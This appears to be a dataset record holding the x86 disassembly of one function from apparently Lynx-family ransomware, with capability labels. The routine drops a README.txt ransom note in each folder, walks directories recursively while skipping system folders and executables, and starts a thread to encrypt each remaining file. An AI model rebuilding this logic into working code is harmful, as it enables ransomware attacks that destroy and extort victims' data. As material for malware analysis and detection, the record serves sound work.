Function at 0x404e00
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4bc
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x4b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x8000
mov edi, ecx
push 0
mov dword [esp + 0x18], edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push eax
mov dword [esp + 0x14], eax
call edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x404e6e
test eax, eax
je 0x404e6e
cmp word [ecx + eax*2 - 2], 0x5c
je 0x404e6e
mov dword [ecx + eax*2], 0x5c
push 0x8000
push 0
call ebx
push eax
call esi
push dword [esp + 0xc]
mov esi, eax
push esi
call edi
push str.README.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x404edc
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push dword [0x42a33c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x42a33c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x42535c
push edi
call esi
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x405341
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop dword [eax]
push 0x425360
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x40531c
push 0x425364
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x40531c
mov eax, dword [esp + 0x20]
test eax, 0x400
jne 0x40531c
test al, 0x10
je 0x4051e7
push 0x425360
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push 0x425364
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push str.windows
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push str.program_files
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push str.program_files__x86_
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push str._RECYCLE.BIN
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push str.appdata
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405043
push 0x8000
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test esi, esi
je 0x40501e
test eax, eax
je 0x40501e
cmp word [esi + eax*2 - 2], 0x5c
je 0x40501e
mov dword [esi + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call eax
mov ecx, esi
call fcn.00404e00
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x405316
push str.program_files
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x405067
push str.program_files__x86_
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
jne 0x405316
push 0x8000
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test ebx, ebx
je 0x4050a2
test eax, eax
je 0x4050a2
cmp word [ebx + eax*2 - 2], 0x5c
je 0x4050a2
mov dword [ebx + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
push ebx
call esi
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push ebx
push esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x42535c
push esi
call eax
lea eax, [esp + 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
je 0x4051bf
nop word [eax + eax]
push 0x425360
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
je 0x4051a1
push 0x425364
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
je 0x4051a1
mov eax, dword [esp + 0x270]
and eax, 0x410
cmp eax, 0x10
jne 0x4051a1
push str.microsoft_sql_server
lea eax, [esp + 0x2a0]
push eax
call edi
test eax, eax
jne 0x4051a1
push 0x8000
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x29c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x42532c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00404e00
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405100
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call ebx
push eax
call esi
jmp 0x405316
test al, 4
jne 0x40531c
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
js 0x405255
nop
lea esi, [esp + 0x4c]
cmp word [esi + eax*2], 0x2e
lea esi, [esi + eax*2]
je 0x405215
sub eax, 1
jns 0x405200
jmp 0x405255
push str..exe
push esi
call edi
test eax, eax
je 0x405316
push str..msi
push esi
call edi
test eax, eax
je 0x405316
push str..dll
push esi
call edi
test eax, eax
je 0x405316
push str..lynx
push esi
call edi
test eax, eax
je 0x405316
mov edx, str.LYNX
lea ecx, [esp + 0x4c]
call fcn.00405de0
test eax, eax
jne 0x405316
mov edx, str.README.txt
lea ecx, [esp + 0x4c]
call fcn.00405de0
test eax, eax
jne 0x405316
push 0x8000
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test esi, esi
je 0x4052bb
test eax, eax
je 0x4052bb
cmp word [esi + eax*2 - 2], 0x5c
je 0x4052bb
mov dword [esi + eax*2], 0x5c
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, 0x42a330
nop dword [eax]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lock xadd dword [edi], eax
cmp eax, 0xc8
jg 0x4052d0
cmp byte [0x42a33b], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
je 0x405302
push esi
push str.___Encrypting:__s_n
call fcn.004012f0
add esp, 8
push 0
push 0
push esi
push 0x404da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404f20
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [esp + 0xc]
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x4c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409a70
mov esp, ebp
pop ebp
ret